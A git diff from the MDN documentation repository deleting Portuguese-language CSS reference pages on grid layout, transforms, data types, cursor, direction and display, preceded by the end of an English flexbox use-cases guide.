Another way to align items on the main axis is to use auto margins. This enables the design pattern of a navigation bar where one group of items are aligned left and another group aligned right.

- -

Here we are using the auto margins technique described in Using auto margins for main axis alignment. The items are aligned on the main axis with flex-start as this is the initial behaviour of flexbox, and we are aligning the item on the right by giving it a left margin of auto. You can move the class from one item to another to change where the split happens.

- -

Also in this example we are using margins on the flex items to create a gap between items, and a negative margin on the container in order that the items still remain flush with the right and left edges. Until the gap properties from the Box Alignment specification are implemented in flexbox, we have to use margins in this way if we want to create a gutter between items.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}

- -

Centrar item

- -

Before flexbox, developers would joke that the hardest problem in web design was vertical centering. This has now been made straightforward using the alignment properties in flexbox, as the following live example shows.

- -

You can play with the alignment, aligning the item to the start with flex-start or end with flex-end.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}

- -

In the future we may not need to make a container a flex container just to centre a single item, as the Box Alignment properties will ultimately be implemented in Block layout. For now however, if you need to properly centre one thing inside another, flexbox is the way to do it. As in the above example, make a container into a flex container, and then use either align-items on the parent element or target the flex item itself with align-self.

- - - -

Whether you use flexbox or CSS Grid to lay out a list of card components, these layout methods only work on direct children of the flex or grid component. This means that if you have variable amounts of content, the card will stretch to the height of the grid area or flex container. Any content inside uses regular block layout, meaning that on a card with less content the footer will rise up to the bottom of the content rather than stick to the bottom of the card.

- -

Two card components showing that the internals of the component do not stretch with the wrapper.

- -

Flexbox can solve this. We make the card a flex container, with {{cssxref("flex-direction")}}: column. We then set the content area to flex: 1, which is the shorthand for flex: 1 1 auto — the item can grow and shrink from a flex basis of auto. As this is the only item that can grow, it takes up all available space in the flex container and pushes the footer to the bottom. If you remove the flex property from the live example you will see how the footer then moves up to sit directly under the content.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}

- -

Objetos de multimédia

- -

The media object is a common pattern in web design — this pattern has an image or other element to one side and text to the right. Ideally a media object should be able to be flipped — moving the image from left to right.

- -

We see this pattern everywhere, used for comments, and anywhere we need to display images and descriptions. With flexbox we can allow the part of the media object containing the image to take its sizing information from the image, and then the body of the media object flexes to take up the remaining space.

- -

In the live example below you can see our media object. I have used the alignment properties to align the items on the cross axis to flex-start, and then set the .content flex item to flex: 1. As with our column layout card pattern above, using flex: 1 means this part of the card can grow.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}

- -

Some things that you might want to try in this live example relate to the different ways you might want to constrain the media object in your design.

- -

To prevent the image growing too large, add a {{cssxref("max-width")}} to the image. As that side of the media object is using the initial values of flexbox it can shrink but not grow, and uses a flex-basis of auto. Any {{cssxref("width")}} or max-width applied to the image will become the flex-basis.

- -
.image img {
-  max-width: 100px;
-}
-
- -

You could also allow both sides to grow and shrink in proportion. If you set both sides to flex: 1, they will grow and shrink from a {{cssxref("flex-basis")}} of 0, so you will end up with two equal-sized columns. You could either take the content as a guide and set both to flex: auto, in which case they would grow and shrink from the size of the content or any size applied directly to the flex items such as a width on the image.

- -
.media .content {
-  flex: 1;
-  padding: 10px;
-}
-
-.image {
-  flex: 1;
-}
- -

You could also give each side different {{cssxref("flex-grow")}} factors, for example setting the side with the image to flex: 1 and the content side to flex: 3. This will mean they use a flex-basis of auto but distribute that space at different rates according to the flex-grow factor you have assigned. The flex properties we use to do this are described in detail in the guide Controlling ratios of flex items along the main axis.

- -
.media .content {
-  flex: 3;
-  padding: 10px;
-}
-
-.image {
-  flex: 1;
-}
- -

Flipping the media object

- -

To switch the display of the media object so that the image is on the right and the content is on the left we can use the flex-direction property set to row-reverse. The media object now displays the other way around. I have achieved this in the live example by adding a class of flipped alongside the existing .media class. This means you can see how the display changes by removing that class from the html.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}

- -

Controlos de formulário

- -

Flexbox is particularly useful when it comes to styling form controls. Forms have lots of markup and lots of small elements that we typically want to align with each other. A common pattern is to have an {{htmlelement("input")}} element paired with a {{htmlelement("button")}}, perhaps for a search form or where you simply want your visitor to enter an email address.

- -

Flexbox makes this type of layout easy to achieve. I have contained my <button> and <input> field in a wrapper which I have given a border and set to display: flex. I have then set the align-items property to center so that the fields stay aligned with each other. I then use the flex properties to allow the <input> field to grow, while the button does not grow. This means we have a pair of fields, with the text field growing and shrinking as the available space changes.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}

- -

You could add a label or icon to the left as easily as we popped the button onto the right. I have added a label, and other than some styling for background colour I didn’t need to change the layout. The stretchy input field now has a little less space to play with but it uses the space left after the two items are accounted for.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}

- -

Patterns like this can make it much easier to create a library of form elements for your design, which easily accommodate additional elements being added. You are taking advantage of the flexibility of flexbox by mixing items that do not grow with those that do.

- -

Conclusão

- -

While exploring the above patterns you have hopefully started to see how you can think through the best way to use flexbox to achieve the result that you want. Quite often you have more than one choice. Mix items that cannot stretch with those that can, use the content to inform the size, or allow flexbox to share out space in proportion. It’s up to you. 

- -

Think about the best way to present the content that you have and then see how flexbox or other layout methods can help you achieve it.

diff --git a/files/pt-pt/web/css/css_grid_layout/index.html b/files/pt-pt/web/css/css_grid_layout/index.html deleted file mode 100644 index cdb4293de2..0000000000 --- a/files/pt-pt/web/css/css_grid_layout/index.html +++ /dev/null @@ -1,251 +0,0 @@ ---- -title: CSS - Layout de Grade -slug: Web/CSS/CSS_Grid_Layout -tags: - - CSS - - Grades - - Layout - - Layout de Grade - - Referencia - - Resumo -translation_of: Web/CSS/CSS_Grid_Layout -original_slug: Web/CSS/layout_de_grelha_css ---- -

CSS - Layout de Grade destaca-se em dividir uma página em regiões principais, ou definir a relação em termos de tamanho, posição e camada, entre partes de um controle criado a partir de HTML primitivas. 
-  
- Tal como as tabelas, o layout de grelha permite que um autor alinhe os elementos em colunas e linhas. No entanto, são possíveis muitos mais layouts ou mais fáceis com a grelha de CSS do que eram com as tabelas. Por exemplo, os elementos filhos de um recipiente de grelha poderão posicionar-se a eles mesmos, e assim eles realmente se sobrepõem e a camada, similar aos elementos posicionados do CSSs..

- -

Exemplo básico

- -

O exemplo abaixo mostra uma grelha de faixa com três colunas, com novas linhas criadas com um mínimo de 100 píxeis e um máximo de auto. Os itens foram colocados na grelha utilizando o posicionamento baseado em linha .

- -
- - -

HTML

- -
<div class="wrapper">
-  <div class="one">One</div>
-  <div class="two">Two</div>
-  <div class="three">Three</div>
-  <div class="four">Four</div>
-  <div class="five">Five</div>
-  <div class="six">Six</div>
-</div>
- -

CSS

- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-gap: 10px;
-  grid-auto-rows: minmax(100px, auto);
-}
-.one {
-  grid-column: 1 / 3;
-  grid-row: 1;
-}
-.two {
-  grid-column: 2 / 4;
-  grid-row: 1 / 3;
-}
-.three {
-  grid-column: 1;
-  grid-row: 2 / 5;
-}
-.four {
-  grid-column: 3;
-  grid-row: 3;
-}
-.five {
-  grid-column: 2;
-  grid-row: 4;
-}
-.six {
-  grid-column: 3;
-  grid-row: 4;
-}
-
- -

{{ EmbedLiveSample('example', '500', '440') }}

-
- -

Referência

- -

CSS - propriedades

- -
-
    -
  • {{cssxref("grid-template-columns")}}
  • -
  • {{cssxref("grid-template-rows")}}
  • -
  • {{cssxref("grid-template-areas")}}
  • -
  • {{cssxref("grid-template")}}
  • -
  • {{cssxref("grid-auto-columns")}}
  • -
  • {{cssxref("grid-auto-rows")}}
  • -
  • {{cssxref("grid-auto-flow")}}
  • -
  • {{cssxref("grid")}}
  • -
  • {{cssxref("grid-row-start")}}
  • -
  • {{cssxref("grid-column-start")}}
  • -
  • {{cssxref("grid-row-end")}}
  • -
  • {{cssxref("grid-column-end")}}
  • -
  • {{cssxref("grid-row")}}
  • -
  • {{cssxref("grid-column")}}
  • -
  • {{cssxref("grid-area")}}
  • -
  • {{cssxref("grid-row-gap")}}
  • -
  • {{cssxref("grid-column-gap")}}
  • -
  • {{cssxref("grid-gap")}}
  • -
-
- -

CSS - funções

- -
-
    -
  • {{cssxref("repeat", "repeat()")}}
  • -
  • {{cssxref("minmax", "minmax()")}}
  • -
  • {{cssxref("fit-content", "fit-content()")}}
  • -
-
- -

CSS - tipos de dados

- -
-
    -
  • {{cssxref("<flex>")}}
  • -
-
- -

Glossário - entradas

- - - -

Guias

- - - -

Recursos externos

- - - -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{ SpecName('CSS3 Grid') }}{{ Spec2('CSS3 Grid') }}Initial definition.
- - diff --git a/files/pt-pt/web/css/css_transforms/using_css_transforms/index.html b/files/pt-pt/web/css/css_transforms/using_css_transforms/index.html deleted file mode 100644 index dba05f3a78..0000000000 --- a/files/pt-pt/web/css/css_transforms/using_css_transforms/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: CSS/Usando_transformações_CSS -slug: Web/CSS/CSS_Transforms/Using_CSS_transforms -translation_of: Web/CSS/CSS_Transforms/Using_CSS_transforms -original_slug: Web/CSS/Usando_transformações_CSS ---- -

{{ gecko_minversion_header("1.9.1") }}

-

Firefox 3.5 (Gecko 1.9.1) introduz suporte a transformações CSS; estas são implementadas utilizando um conjunto de propriedades CSS permitindo a você aplicar transformações lineares a elementos HTML. Essas transformações são baseadas sobre o design proposto pelo time WebKit e incluem rotar, inclinar, escalar e usar translação. Enquanto isso, é um W3C working draft.

-

Mozilla atualmente suporta as propriedades {{ Cssxref("-moz-transform") }} e {{ Cssxref("-moz-transform-origin") }}. Para detalhes sobre onde funções de transformação são suportadas, veja o artigo CSS transform functions (en).

-
- Nota: Até o momento não há suporte ao eixo Z, portanto, perspectiva, rotação 3D, escala 3D, e transformações 3D não são suportadas.
-

Exemplo: Rotação

-

Este exemplo cria um iframe que lhe permite utilizar a página inicial do Google, girada 90 graus sobre seu canto inferior esquerdo.

-

Visualizar exemplo
- Visualizar screenshot do exemplo

-
<div style="-moz-transform: rotate(90deg); -moz-transform-origin: bottom left;">
-  <iframe src="http://www.google.com/" width="500px" height="600px" />
-</div>
-
-

Exemplo: Inclinação e translação

-

Este exemplo cria um iframe que lhe permite utilizar a página inicial do Google, inclinada 10 graus no eicho X.

-

Visualizar exemplo
- Visualizar screenshot do exemplo

-
<div style="-moz-transform: skewx(10deg) translatex(150px);
-            -moz-transform-origin: bottom left;">
-  <iframe src="http://www.google.com/" width="600px" height="500px" />
-</div>
-
-

Veja também

- -

{{ languages( { "ja": "ja/CSS/Using_CSS_transforms" } ) }}

diff --git a/files/pt-pt/web/css/css_types/index.html b/files/pt-pt/web/css/css_types/index.html deleted file mode 100644 index e469f49c98..0000000000 --- a/files/pt-pt/web/css/css_types/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: CSS - Tipos de datos básicos -slug: Web/CSS/CSS_Types -tags: - - CSS - - Referencia - - Resumo - - Sinopse - - Tipos de Dados de CSS -translation_of: Web/CSS/CSS_Types -original_slug: Web/CSS/CSS_Tipos ---- -
{{CssRef}}
- -

CSS - tipos de dados básicos define typical values (including keywords and units) accepted by CSS properties and functions. They are a special kind of component value type.

- -

In formal syntax, data types are denoted by a keyword placed between the inequality signs "<" and ">".

- -

Referência

- -
-
    -
  • {{cssxref("<angle>")}}
  • -
  • {{cssxref("<basic-shape>")}}
  • -
  • {{cssxref("<blend-mode>")}}
  • -
  • {{cssxref("<color>")}}
  • -
  • {{cssxref("<custom-ident>")}}
  • -
  • {{cssxref("<filter-function>")}}
  • -
  • {{cssxref("<flex>")}}
  • -
  • {{cssxref("<frequency>")}}
  • -
  • {{cssxref("<gradient>")}}
  • -
  • {{cssxref("<image>")}}
  • -
  • {{cssxref("<integer>")}}
  • -
  • {{cssxref("<length>")}}
  • -
  • {{cssxref("<number>")}}
  • -
  • {{cssxref("<percentage>")}}
  • -
  • {{cssxref("<position>")}}
  • -
  • {{cssxref("<ratio>")}}
  • -
  • {{cssxref("<resolution>")}}
  • -
  • {{cssxref("<shape-box>")}}
  • -
  • {{cssxref("<single-transition-timing-function>")}}
  • -
  • {{cssxref("<string>")}}
  • -
  • {{cssxref("<time>")}}
  • -
  • {{cssxref("<transform-function>")}}
  • -
  • {{cssxref("<url>")}}
  • -
-
- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{ SpecName('CSS3 Values') }}{{ Spec2('CSS3 Values') }}Initial definition.
diff --git a/files/pt-pt/web/css/cursor/index.html b/files/pt-pt/web/css/cursor/index.html deleted file mode 100644 index 152fe3b344..0000000000 --- a/files/pt-pt/web/css/cursor/index.html +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: cursor -slug: Web/CSS/cursor -tags: - - Referencia_CSS -translation_of: Web/CSS/cursor ---- -

{{ CSSRef() }}

- -

Resumo

- -

A propriedade {{ Cssxref("cursor") }} especifica o estilo do ponteiro do mouse quando estiver sobre o elemento.

- -
    -
  • Valor inicial: auto
  • -
  • Aplica-se a: todos os elementos
  • -
  • Herdado: sim
  • -
  • Porcentagens: N/A
  • -
  • Mídia: Visual, Interactive
  • -
  • Valor computado: como especificado (endereços relativos são convertidos como absolutos)
  • -
- -

Sintaxe

- -

cursor: [ {{ mediawiki.external(' ,') }}* {{ mediawiki.external(' auto | crosshair | default | pointer | move | e-resize | ne-resize | nw-resize | n-resize | se-resize | sw-resize | s-resize | w-resize | text | wait | help | progress | copy | alias | context-menu | cell | not-allowed | col-resize | row-resize | no-drop | vertical-text | all-scroll | nesw-resize | nwse-resize | ns-resize | ew-resize ') }} ] | {{ Cssxref("inherit") }}

- -

Valores

- -
-
<url> 
-
URL of custom cursor. More than one URL may be provided as fallback, in case some cursor image types are not supported. A non-URL fallback (one of the other values) must be at the end of the fallback list. See Using URL values for the cursor property for more details.
-
default 
-
default cursor (typically an arrow)
-
auto 
-
equivalent to text when over text and default otherwise
-
crosshair 
-
cross cursor, often used to indicate selection in a bitmap
-
pointer 
-
cursor used when over links (typically a hand)
-
move 
-
move cursor
-
e-resize 
-
cursor for resizing the right edge of a box
-
ne-resize 
-
cursor for resizing the top right corner of a box
-
nw-resize 
-
cursor for resizing the top left corner of a box
-
n-resize 
-
cursor for resizing the top edge of a box
-
se-resize 
-
cursor for resizing the bottom right corner of a box
-
sw-resize 
-
cursor for resizing the bottom left corner of a box
-
s-resize 
-
cursor for resizing the bottom edge of a box
-
w-resize 
-
cursor for resizing the left edge of a box
-
text 
-
cursor indicating text can be selected (typically an I-beam)
-
wait 
-
cursor indicating the program is busy (sometimes an hourglass or a watch)
-
help 
-
cursor indicating help is available
-
progress 
-
cursor indicating that the program is busy but the user can still interact with it (unlike for busy)
-
copy 
-
cursor showing something that can be copied
-
alias 
-
cursor indicating an alias or shortcut is to be created
-
context-menu 
-
cursor indicating that a context menu is available under the cursor
-
cell 
-
cursor indicating that cells can be selected
-
not-allowed 
-
cursor showing that something cannot be done
-
col-resize 
-
cursor for resizing columns horizontally
-
row-resize 
-
cursor for resizing rows vertically
-
no-drop 
-
cursor showing that a drop is not allowed at the current location
-
vertical-text 
-
cursor indicating that vertical text can be selected (typically a sideways I-beam)
-
all-scroll 
-
cursor showing that something can be scrolled in any direction (panned)
-
nesw-resize 
-
cursor for resizing in the top-right or bottom-left directions
-
nwse-resize 
-
cursor for resizing in the top-left or bottom-right directions
-
ns-resize 
-
cursor for resizing up or down
-
ew-resize 
-
cursor for resizing left or right
-
- -

Exemplos

- -

View Live Examples

- -
Inline:
-
-<span style="cursor: crosshair">Some Text</span>
-
-External:
-
-.pointer {
-	cursor: pointer;
-}
-.move {
-	cursor: move;
-}
-
-
- -

Notas

- -

While this property works on older browsers, not all values are fully supported.

- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga/th>
Internet Explorer4
Firefox1.5
Netscape6
Opera7
- -

Veja também

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/cursor", "fr": "fr/CSS/cursor", "pl": "pl/CSS/cursor" } ) }}

diff --git a/files/pt-pt/web/css/direction/index.html b/files/pt-pt/web/css/direction/index.html deleted file mode 100644 index a89e7a1b6c..0000000000 --- a/files/pt-pt/web/css/direction/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: direction -slug: Web/CSS/direction -tags: - - Referencia_CSS -translation_of: Web/CSS/direction ---- -

-{{ CSSRef() }} -

-

Resumo

-

The direction property should be set to match the direction of the text: rtl for Hebrew or Arabic text and ltr for other scripts. This should normally be done as part of the document (e.g., using the dir attribute in HTML) rather than through direct use of CSS. -

The property sets the base text direction of block-level elements and the direction of embeddings created by the {{ Cssxref("unicode-bidi") }} property. It also sets the default alignment of text and block-level elements and the direction that cells flow within a table row. -

-
  • Valor inicial: ltr -
  • Aplica-se a: todos os elementos -
  • Herdado: sim -
  • Porcentagens: N/A -
  • Mídia: visual -
-

Sintaxe

-
direction: [ 'ltr' | 'rtl' | inherit ] ;
-
-

Valores

-
ltr 
The default value of direction. Text and other elements go from left to right -
rtl 
Text and other elements go from right to left -
-

For the direction property to have any effect on inline-level elements, the {{ Cssxref("unicode-bidi") }} property's value must be 'embed' or 'override'. -

-

Exemplos

-
blockquote {
-  direction : rtl ;
-}
-
-

Notas

-

Unlike the dir attribute in HTML, the direction property is not inherited from table columns into table cells, since CSS inheritance follows the document tree, and table cells are inside of the rows but not inside of the columns. -

-

Especificação

- -

Veja também

-

{{ Cssxref("unicode-bidi") }} -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/direction", "fr": "fr/CSS/direction", "pl": "pl/CSS/direction" } ) }} diff --git a/files/pt-pt/web/css/display/index.html b/files/pt-pt/web/css/display/index.html deleted file mode 100644 index 5a3e498cf3..0000000000 --- a/files/pt-pt/web/css/display/index.html +++ /dev/null @@ -1,707 +0,0 @@ ---- -title: display -slug: Web/CSS/display -tags: - - CSS - - CSS Display - - Propriedade de CSS -translation_of: Web/CSS/display ---- -
{{CSSRef}}
- -

Esta propriedade display de CSS especifica o tipo de caixa de renderização utilizado para um elemento. Em HTML, os valores da propriedade display predefinidos têm o seu comportamento descrito nas especificações de HTML ou de uma folha de estilo predefinida do navegador ou do utilizador. O valor predefinido no XML é  inline, incluindo os elementos de SVG .

- -

Em adição aos diferentes tipos de caixa de exibição, o valor none deixa-o desativar a exibição de um elemento; quando utiliza none, todos os elementos descendentes também têm as suas exibições desativadas. O documento é renderizado como se o elemento não existisse na árvore do documento.

- -
/* <display-outside> values */
-display: block;
-display: inline;
-display: run-in;
-
-/* <display-inside> values */
-display: flow;
-display: flow-root;
-display: table;
-display: flex;
-display: grid;
-display: ruby;
-display: subgrid;
-
-/* <display-outside> plus <display-inside> values */
-display: block flow;
-display: inline table;
-display: flex run-in;
-
-/* <display-listitem> values */
-display: list-item;
-display: list-item block;
-display: list-item inline;
-display: list-item flow;
-display: list-item flow-root;
-display: list-item block flow;
-display: list-item block flow-root;
-display: flow list-item block;
-
-/* <display-internal> values */
-display: table-row-group;
-display: table-header-group;
-display: table-footer-group;
-display: table-row;
-display: table-cell;
-display: table-column-group;
-display: table-column;
-display: table-caption;
-display: ruby-base;
-display: ruby-text;
-display: ruby-base-container;
-display: ruby-text-container;
-
-/* <display-box> values */
-display: contents;
-display: none;
-
-/* <display-legacy> values */
-display: inline-block;
-display: inline-table;
-display: inline-flex;
-display: inline-grid;
-
-/* Global values */
-display: inherit;
-display: initial;
-display: unset;
-
- -

{{cssinfo}}

- -

Sintaxe

- -

A propriedade display é especificada utilizando os valores chave. Os valores chave são agrupados em seis categorias:

- - - -

Currently it's best to specify display using a single keyword; although the latest specifications allow you to combine some keywords, this is not yet well supported by browsers.

- -

Valores

- -
-
<display-outside>
-
These keywords specify the element’s outer display type, which is essentially its role in flow layout. They are defined as follows: - - - - - - - - - - - - - - - - - - - - - -
ValorDescrição
blockThe element generates a block element box.
inlineThe element generates one or more inline element boxes.
run-in {{experimental_inline}}The element generates a run-in box. Run-in elements act like inlines or blocks, depending on the surrounding elements. That is: -
    -
  • If the run-in box contains a block box, same as block.
  • -
  • If a block box follows the run-in box, the run-in box becomes the first inline box of the block box.
  • -
  • If an inline box follows, the run-in box becomes a block box.
  • -
-
-
-
<display-inside>
-
These keywords specify the element’s inner display type, which defines the type of formatting context that lays out its contents (assuming it is a non-replaced element). They are defined as follows: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ValueDescription
flow {{experimental_inline}}The element lays out its contents using flow layout (block-and-inline layout). -

If its outer display type is inline or run-in, and it is participating in a block or inline formatting context, then it generates an inline box. Otherwise it generates a block container box.

- -

Depending on the value of other properties (such as {{cssxref("position")}}, {{cssxref("float")}}, or {{cssxref("overflow")}}) and whether it is itself participating in a block or inline formatting context, it either establishes a new block formatting context for its contents or integrates its contents into its parent formatting context.

-
flow-root {{experimental_inline}}The element generates a block element box that establishes a new block formatting context.
tableThese elements behave like {{HTMLElement("table")}} HTML elements. It defines a block-level box.
flexThe element behaves like a block element and lays out its content according to the flexbox model.
gridThe element behaves like a block element and lays out its content according to the grid model.
subgrid {{experimental_inline}}If the parent element has display:grid, the element itself and its content are laid out according to the grid model.
ruby {{experimental_inline}}The element behaves like an inline element and lays out its content according to the ruby formatting model. It behaves like the corresponding {{HTMLElement("ruby")}} HTML elements.
-
-
<display-listitem>
-
-

The element generates a block box for the content and a separate list-item inline box.

- -

If no <display-inside> value is specified, the principal box’s inner display type defaults to flow. If no <display-outside> value is specified, the principal box’s outer display type defaults to block.

-
-
<display-internal>
-
-

Some layout models, such as table and ruby, have a complex internal structure, with several different roles that their children and descendants can fill. This section defines those "internal" display values, which only have meaning within that particular layout mode.

- -

Unless otherwise specified, both the inner display type and the outer display type of elements using these display values are set to the given keyword.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ValorDescrição
table-row-groupThese elements behave like {{HTMLElement("tbody")}} HTML elements
table-header-groupThese elements behave like {{HTMLElement("thead")}} HTML elements.
table-footer-groupThese elements behave like {{HTMLElement("tfoot")}} HTML elements.
table-rowThese elements behave like {{HTMLElement("tr")}} HTML elements.
table-cellThese elements behave like {{HTMLElement("td")}} HTML elements.
table-column-groupThese elements behave like {{HTMLElement("colgroup")}} HTML elements.
table-columnThese elements behave like {{HTMLElement("col")}} HTML elements.
table-captionThese elements behave like {{HTMLElement("caption")}} HTML elements.
ruby-base {{experimental_inline}}These elements behave like {{HTMLElement("rb")}} elements.
ruby-text {{experimental_inline}}These elements behave like {{HTMLElement("rt")}} elements.
ruby-base-container {{experimental_inline}}These elements behave like {{HTMLElement("rbc")}} elements generated as anonymous boxes.
ruby-text-container {{experimental_inline}}These elements behave like {{HTMLElement("rtc")}} elements.
-
-
<display-box>
-
These values define whether an element generates display boxes at all. - - - - - - - - - - - - - - - - - -
ValorDescrição
contents {{experimental_inline}}These elements don't produce a specific box by themselves. They are replaced by their pseudo-box and their child boxes.
none -

Turns off the display of an element so that it has no effect on layout (the document is rendered as though the element did not exist). All descendant elements also have their display turned off.

- -

To have an element take up the space that it would normally take, but without actually rendering anything, use the {{cssxref("visibility")}} property instead.

-
-
-
<display-legacy>
-
CSS 2 used a single-keyword syntax for the display property, requiring separate keywords for block-level and inline-level variants of the same layout mode. They are defined as follows: - - - - - - - - - - - - - - - - - - - - - - - - - -
ValorDescrição
inline-block -

The element generates a block element box that will be flowed with surrounding content as if it were a single inline box (behaving much like a replaced element would)

- -

It is equivalent to inline flow-root.

-
inline-table -

The inline-table value does not have a direct mapping in HTML. It behaves like a {{HTMLElement("table")}} HTML element, but as an inline box, rather than a block-level box. Inside the table box is a block-level context.

- -

It is equivalent to inline table.

-
inline-flex -

The element behaves like an inline element and lays out its content according to the flexbox model.

- -

It is equivalent to inline flex.

-
inline-gridThe element behaves like an inline element and lays out its content according to the grid model.
-
-
- -

Sintaxe formal

- -{{csssyntax}} - -

Exemplos

- -

Elementos Hide

- -

Conteúdo de HTML

- -
<p>Visible text</p>
-<p class="secret">Invisible text</p>
- -

Conteúdo de CSS

- -
p.secret {
-  display: none;
-}
- -

Resultado

- -

{{EmbedLiveSample("Hide_element", 300, 60)}}

- -

View Live Examples

- -

Especificações

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('CSS3 Display', '#the-display-properties', 'display')}}{{Spec2('CSS3 Display')}}Added run-in, flow, flow-root, contents, and multi-keyword values.
{{SpecName('CSS3 Ruby', '#ruby-display', 'display')}}{{Spec2('CSS3 Ruby')}}Added ruby, ruby-base, ruby-text, ruby-base-container, and ruby-text-container.
{{SpecName('CSS3 Grid', '#grid-containers', 'display')}}{{Spec2('CSS3 Grid')}}Added the grid box model values.
{{SpecName('CSS3 Flexbox', '#flex-containers', 'display')}}{{Spec2('CSS3 Flexbox')}}Added the flexible box model values.
{{SpecName('CSS2.1', 'visuren.html#display-prop', 'display')}}{{Spec2('CSS2.1')}}Added the table model values and inline-block.
{{SpecName('CSS1', '#display', 'display')}}{{Spec2('CSS1')}}Initial definition. Basic values: none, block, inline, and list-item.
- -

Compatibilidade de navegador

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FuncionalidadeChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
none, inline and block1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}4.07.01.0 (85)
inline-block1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9")}}5.5[4]7.01.0 (85)
list-item1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}6.07.01.0 (85)
run-in {{experimental_inline}}1.0 [5]{{CompatNo}}{{CompatNo}}8.07.01.0 (85)[5]
4.0 Removed in 32Not Blink versions (15 upwards)5.0 (532.5) Removed in 8.0
inline-table1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9")}}8.07.01.0 (85)
table, table-cell, table-column, table-column-group, table-header-group, table-row-group, table-footer-group, table-row, and table-caption1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.0")}}8.0 -

7.0

-
1.0 (85)
flex -

21.0{{property_prefix("-webkit")}}

- -

29.0

-
{{CompatVersionUnknown}}{{CompatGeckoDesktop("18.0")}}[1]
- {{CompatGeckoDesktop("20.0")}}
-

10{{property_prefix("-ms")}}[8]
- 11

-
12.50 -

6.1{{property_prefix("-webkit")}}

- -

9.0

-
inline-flex21.0{{property_prefix("-webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("18.0")}}[1]
- {{CompatGeckoDesktop("20.0")}}
10{{property_prefix("-ms")}}[8]
- 11
12.506.1{{property_prefix("-webkit")}}
grid {{experimental_inline}}{{CompatChrome(57)}}{{CompatVersionUnknown}}{{property_prefix("-ms")}}{{CompatGeckoDesktop("45.0")}}[6]10.0{{property_prefix("-ms")}}{{CompatOpera(44)}}TP
inline-grid {{experimental_inline}}{{CompatChrome(57)}}{{CompatVersionUnknown}}{{property_prefix("-ms")}}{{CompatGeckoDesktop("45.0")}}[6]10.0{{property_prefix("-ms")}}{{CompatOpera(44)}}TP
subgrid {{experimental_inline}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
ruby, ruby-base, ruby-text, ruby-base-container, ruby-text-container {{experimental_inline}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("34.0")}}[3]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
contents {{experimental_inline}}{{CompatChrome(58)}}[7]{{CompatNo}}{{CompatGeckoDesktop("37")}}[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
flow-root{{CompatChrome(58)}}{{CompatUnknown}}{{CompatGeckoDesktop("53.0")}}{{CompatUnknown}}{{CompatOpera(45)}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}7.0{{property_prefix("-webkit")}}
grid {{experimental_inline}}{{CompatChrome(57)}}{{CompatChrome(57)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(44)}}{{CompatUnknown}}
inline-grid {{experimental_inline}}{{CompatChrome(57)}}{{CompatChrome(57)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(44)}}{{CompatUnknown}}
flow-root{{CompatChrome(58)}}{{CompatChrome(58)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(45)}}{{CompatUnknown}}
-
- -

[1] To activate flexbox support, for Firefox 18 and 19, the user has to change the about:config preference "layout.css.flexbox.enabled" to true. Multi-line flexbox are supported since Firefox 28.

- -

[2] Before Firefox 37, the contents value was disabled by default, and could be enabled by setting the layout.css.display-contents.enabled pref to true. In Firefox 37, it was enabled by default, and in Firefox 53 the pref was removed altogether.

- -

[3] CSS Ruby support is behind pref "layout.css.ruby.enabled". The user has to change this pref to true to activate this.

- -

